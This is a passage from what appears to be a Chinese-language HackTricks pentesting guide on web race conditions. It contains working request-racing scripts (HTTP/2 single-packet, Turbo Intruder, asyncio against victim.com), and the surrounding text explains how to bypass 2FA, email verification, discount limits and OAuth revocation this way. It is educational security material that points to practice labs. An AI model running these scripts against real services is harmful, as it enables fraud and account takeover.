header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

原始 BF

在之前的研究之前,这些是一些使用的有效载荷,只是尝试尽可能快地发送数据包以引发 RC。

  • **Repeater:**查看上一节中的示例。

  • Intruder:将请求发送到Intruder,在选项菜单中将线程数设置为30,选择有效载荷为Null payloads并生成30。

  • Turbo Intruder

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

限制超限/TOCTOU

这是最基本的一种竞争条件,其中漏洞出现在限制执行某个操作次数的地方。比如在网店多次使用相同的折扣代码。一个非常简单的例子可以在这份报告或这个漏洞中找到。

这种攻击有许多变种,包括:

  • 多次兑换礼品卡

  • 多次评价产品

  • 超出账户余额提取或转账现金

  • 重复使用单个验证码解决方案

  • 绕过反暴力破解速率限制

隐藏子状态

利用复杂的竞争条件通常涉及利用与隐藏的或意外的机器子状态交互的短暂机会。以下是处理此类情况的方法:

  1. 识别潜在的隐藏子状态

    • 从修改或与关键数据交互的端点入手,例如用户配置文件或密码重置流程。关注以下方面:

      • 存储:优先选择处理服务器端持久数据的端点,而不是处理客户端数据的端点。

      • 操作:寻找修改现有数据的操作,这些操作比添加新数据更有可能创建可利用的条件。

      • 键入:成功的攻击通常涉及使用相同标识符(例如用户名或重置令牌)的操作。

  2. 进行初步探测

    • 使用竞争条件攻击测试已识别的端点,观察是否有与预期结果不符的情况。意外的响应或应用行为的变化可能表明存在漏洞。

  3. 展示漏洞

    • 将攻击范围缩小到利用漏洞所需的最少请求数,通常仅为两个。由于涉及精确的时机,此步骤可能需要多次尝试或自动化。

时间敏感攻击

在定时请求中精确控制时间可以揭示漏洞,特别是在安全令牌使用可预测的方法(如时间戳)时。例如,基于时间戳生成密码重置令牌可能会导致同时请求的相同令牌。

利用方法:

  • 使用精确的时间控制,如单数据包攻击,进行并发密码重置请求。相同的令牌表明存在漏洞。

示例:

  • 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。

查看此 PortSwigger实验室 以尝试此操作。

隐藏子状态案例研究

支付并添加商品

查看此PortSwigger实验室以了解如何在商店中支付并添加额外商品而无需为其付款。

确认其他电子邮件

这个想法是同时验证一个电子邮件地址并将其更改为另一个,以查明平台是否验证了更改后的新电子邮件。

将电子邮件更改为2个电子邮件地址基于Cookie

根据这项研究,Gitlab容易受到这种方式的接管攻击,因为它可能会将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件。

查看此 PortSwigger实验室 以尝试此操作。

隐藏数据库状态/确认绕过

如果使用2个不同的写入向数据库中添加信息,则在仅有第一个数据被写入数据库的一小段时间内存在漏洞。例如,在创建用户时,用户名和密码可能会被写入,然后写入用于确认新创建帐户的令牌。这意味着在短时间内用于确认帐户的令牌为空。

因此,注册一个帐户并发送多个带有空令牌的请求(token=或token[]=或任何其他变体)立即确认帐户可能允许确认一个您无法控制电子邮件的帐户。

查看此 PortSwigger实验室 以尝试此操作。

绕过2FA

以下伪代码容易受到竞争条件攻击,因为在创建会话时2FA未被强制执行的非常短的时间内:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2永久性持久性

有几个OAuth提供者。这些服务将允许您创建一个应用程序并对提供者已注册的用户进行身份验证。为了做到这一点,客户端将需要允许您的应用程序访问OAuth提供者内部的一些数据。 因此,直到这里只是一个常见的使用google/linkedin/github等登录,您会看到一个页面,上面写着:“应用程序<InsertCoolName>想要访问您的信息,您是否允许?”

authorization_code中的竞争条件

问题出现在您接受并自动向恶意应用程序发送**authorization_code时。然后,此应用程序滥用OAuth服务提供商中的竞争条件**,从**authorization_code为您的帐户生成多个AT/RT(认证令牌/刷新令牌)。基本上,它将滥用您已经允许应用程序访问您的数据的事实来创建多个帐户**。然后,如果您停止允许应用程序访问您的数据,一个AT/RT对将被删除,但其他的仍然有效。

Refresh Token中的竞争条件

一旦您获得了有效的RT,您可以尝试滥用它来生成多个AT/RT,即使用户取消了恶意应用程序访问其数据的权限,多个RT仍然有效。

WebSockets中的RC

在WS_RaceCondition_PoC中,您可以找到一个Java PoC,用于并行发送websocket消息以滥用WebSockets中的竞争条件。

参考资料

  • https://hackerone.com/reports/759247

  • https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html

  • https://hackerone.com/reports/55140

  • https://portswigger.net/research/smashing-the-state-machine

  • https://portswigger.net/web-security/race-conditions

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!

  • 获取官方PEASS和HackTricks周边产品

  • 探索PEASS家族,我们独家的NFTs收藏品

  • 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我们。

  • 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

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